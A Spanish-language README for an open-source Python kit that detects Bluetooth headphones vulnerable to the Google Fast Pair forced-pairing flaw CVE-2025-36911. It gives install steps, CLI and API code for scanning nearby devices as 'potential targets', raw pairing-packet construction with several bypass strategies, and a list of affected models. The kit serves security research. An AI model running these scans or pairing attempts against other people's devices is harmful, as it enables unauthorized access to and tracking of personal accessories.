
Secuestro de accesorios Bluetooth mediante Google Fast Pair: WhisperPair CVE-2025-36911 Implementación de referencia y kit de verificación de vulnerabilidades
Implementación de referencia de CVE-2025-36911 y kit de verificación de vulnerabilidades
IMPLEMENTACIÓN OFICIAL YA DISPONIBLE, gracias al equipo de KU Leuven (Gracias por la mención)
AVISO LEGAL: Esta es una herramienta de investigación de seguridad. Lee LEGAL.md antes de usarla. El acceso no autorizado a sistemas informáticos es un delito.
Secuestro de accesorios Bluetooth mediante Google Fast Pair.
WhisperPair (CVE-2025-36911) es una vulnerabilidad crítica que permite a los atacantes emparejarse forzosamente con accesorios de audio de gama alta sin el consentimiento del usuario, a menudo en menos de 10 segundos.
DIY-WhisperPair es un kit de investigación que implementa estos ataques para demostrar tres riesgos clave:
[!NOTE] Solo investigación: Este kit contiene escáneres y verificadores de Prueba de Concepto. No incluye herramientas para escuchas activas, seguimiento de ubicación persistente o inyección de cargas maliciosas. Su propósito es únicamente identificar dispositivos vulnerables.
# Instalación
git clone https://github.com/SpectrixDev/DIY_WhisperPair.git
cd DIY_WhisperPair
pip install -e .
# Ejecutar CLI interactivo
whisperpair
Esto lanza un menú interactivo:
╦ ╦╦ ╦╦╔═╗╔═╗╔═╗╦═╗╔═╗╔═╗╦╦═╗
║║║╠═╣║╚═╗╠═╝║╣ ╠╦╝╠═╝╠═╣║╠╦╝
╚╩╝╩ ╩╩╚═╝╩ ╚═╝╩╚═╩ ╩ ╩╩╩╚═
────────────── Menú Principal ──────────────
1 Escanear Descubrir dispositivos Fast Pair cercanos
2 Verificar Comprobar la vulnerabilidad del dispositivo (requiere autorización)
3 Info Obtener información detallada del dispositivo
4 Acerca de Aprender sobre CVE-2025-36911
0 Salir Cerrar la aplicación
Selecciona una opción [1]:
Esta librería está diseñada para ser fácilmente extensible. Importa lo que necesites:
import asyncio
from whisperpair import scan_devices, verify_device, get_device_info
# Scan for Fast Pair devices
devices = asyncio.run(scan_devices(timeout=10))
for d in devices:
print(f"{d.address} - {d.name} - Risk: {'HIGH' if not d.is_in_pairing_mode else 'Low'}")
# Find only vulnerable devices (not in pairing mode)
vulnerable = asyncio.run(scan_devices(vulnerable_only=True))
# Verify a specific device (REQUIRES AUTHORIZATION)
result = asyncio.run(verify_device("AA:BB:CC:DD:EE:FF"))
if result.success:
print(f"VULNERABLE - Provider: {result.provider_address}")
# Get device info
info = asyncio.run(get_device_info("AA:BB:CC:DD:EE:FF"))
print(f"Model: {info['model_name']}")
from whisperpair import (
# Scanner
FastPairScanner,
FastPairDevice,
# Client
FastPairClient,
VerificationResult,
# Protocol
KeyBasedPairingRequest,
KeyBasedPairingResponse,
PairingRequestFlags,
parse_bluetooth_address,
parse_kbp_response_multi_strategy,
# Crypto
FastPairCrypto,
aes_128_encrypt,
aes_128_decrypt,
generate_account_key,
# Constants
FAST_PAIR_SERVICE_UUID,
KEY_BASED_PAIRING_CHAR_UUID,
KNOWN_MODEL_IDS,
)
# Custom scanner with callbacks
def on_found(device: FastPairDevice):
if not device.is_in_pairing_mode:
print(f"[!] Potential target: {device.address}")
scanner = FastPairScanner(timeout=15, on_device_found=on_found)
asyncio.run(scanner.scan())
# Build raw protocol packets (flags 0x11 = INITIATE_BONDING | EXTENDED_RESPONSE)
target_bytes = parse_bluetooth_address("AA:BB:CC:DD:EE:FF")
request = KeyBasedPairingRequest.for_verification(provider_address=target_bytes)
packet = request.build() # 16-byte plaintext
# Multiple verification strategies available:
# - strategy_raw_kbp() - flags 0x11, works on most vulnerable devices
# - strategy_with_seeker() - flags 0x02, includes seeker address
# - strategy_retroactive() - flags 0x0A, bypasses some checks
# - strategy_extended() - flags 0x10, for newer devices
# Full custom flow (AES key optional - response detection alone indicates vulnerability)
async with FastPairClient("AA:BB:CC:DD:EE:FF") as client:
model_id = await client.read_model_id()
result = await client.verify_pairing_behavior() # No key needed for detection
if result.response_received:
print("VULNERABLE - device responded when it shouldn't")
Consulta examples.py para ver ejemplos listos para copiar y pegar:
python examples.py scan # Escaneo básico
python examples.py vulnerable # Encontrar dispositivos vulnerables
python examples.py verify AA:BB:CC:DD:EE:FF
python examples.py custom # Escáner con callbacks
whisperpair
# Escanear dispositivos
whisperpair scan
whisperpair scan --vulnerable
whisperpair scan --timeout 15
# Obtener información del dispositivo
whisperpair info AA:BB:CC:DD:EE:FF
# Verificar vulnerabilidad (requiere flags)
whisperpair verify AA:BB:CC:DD:EE:FF --authorized
# Aprender sobre la vulnerabilidad
whisperpair about
Esta herramienta realiza operaciones Bluetooth activas. Antes de ejecutar cualquier comando de verificación, debes contar con:
Consulta LEGAL.md para obtener una guía detallada.
Google Fast Pair exige que los dispositivos solo acepten solicitudes de emparejamiento cuando están en modo de emparejamiento. Muchos dispositivos no superan esta comprobación:
ESPERADO: El dispositivo comprueba "¿Estoy en modo de emparejamiento?" → NO → Rechazar
REAL: El dispositivo acepta la solicitud independientemente del estado del modo
La vulnerabilidad se detecta comprobando si un dispositivo responde en absoluto a una solicitud de emparejamiento basada en clave (Key-Based Pairing) cuando no está en modo de emparejamiento:
graph TD
subgraph Packet["Solicitud de emparejamiento basada en clave (16 bytes)"]
direction LR
B0["0x00"]
B1["0x11"]
MAC["MAC: 6 bytes"]
Salt["Salt: 8 bytes"]
end
B0:::byte -- "Tipo de mensaje" --> Desc0["Solicitud de emparejamiento basada en clave"]
B1:::byte -- "Flags" --> Desc1["INITIATE_BONDING | EXTENDED_RESP"]
classDef byte fill:#e1f5fe,stroke:#333,stroke-width:1px;
Detección: respuesta recibida = VULNERABLE (¡no se necesita clave AES!)
Un atacante dentro del alcance Bluetooth (~10-14 m) puede:
| Fabricante | Dispositivos |
|---|---|
DIY_WhisperPair/
├── src/whisperpair/
│ ├── __init__.py # Exportaciones de la API pública
│ ├── scanner.py # Descubrimiento de dispositivos BLE
│ ├── client.py # Cliente GATT y verificación
│ ├── protocol.py # Constructores de paquetes
│ ├── crypto.py # AES-128, ECDH, claves
│ ├── constants.py # UUIDs, IDs de modelo
│ └── cli.py # CLI interactivo
├── examples.py # Fragmentos de código listos para copiar
├── security_demo.py # Demo de verificación independiente
├── LEGAL.md
└── README.md
git clone https://github.com/SpectrixDev/DIY_WhisperPair.git
cd DIY_WhisperPair
python3 -m venv venv
source venv/bin/activate # Linux/macOS
pip install -e .
Esta herramienta se proporciona exclusivamente para:
NO para: Acceso no autorizado, acoso, vigilancia o cualquier actividad ilegal.
Licencia MIT - Consulta LICENSE
| Jurisdicción | Ley aplicable |
|---|
| Reino Unido | Computer Misuse Act 1990, Secciones 1-3A |
| EE. UU. | Computer Fraud and Abuse Act (CFAA) |
| UE | Directiva 2013/40/UE |
| Alemania | § 202a-c StGB |
| Australia | Criminal Code Act 1995, Parte 10.7 |
| Pixel Buds Pro 2 |
| Sony | WF-1000XM4, WH-1000XM5, LinkBuds S |
| JBL | Tune Buds, Live Pro 2 |
| Anker | Soundcore Liberty 4 |
| Otros | Consulta whisperpair.eu |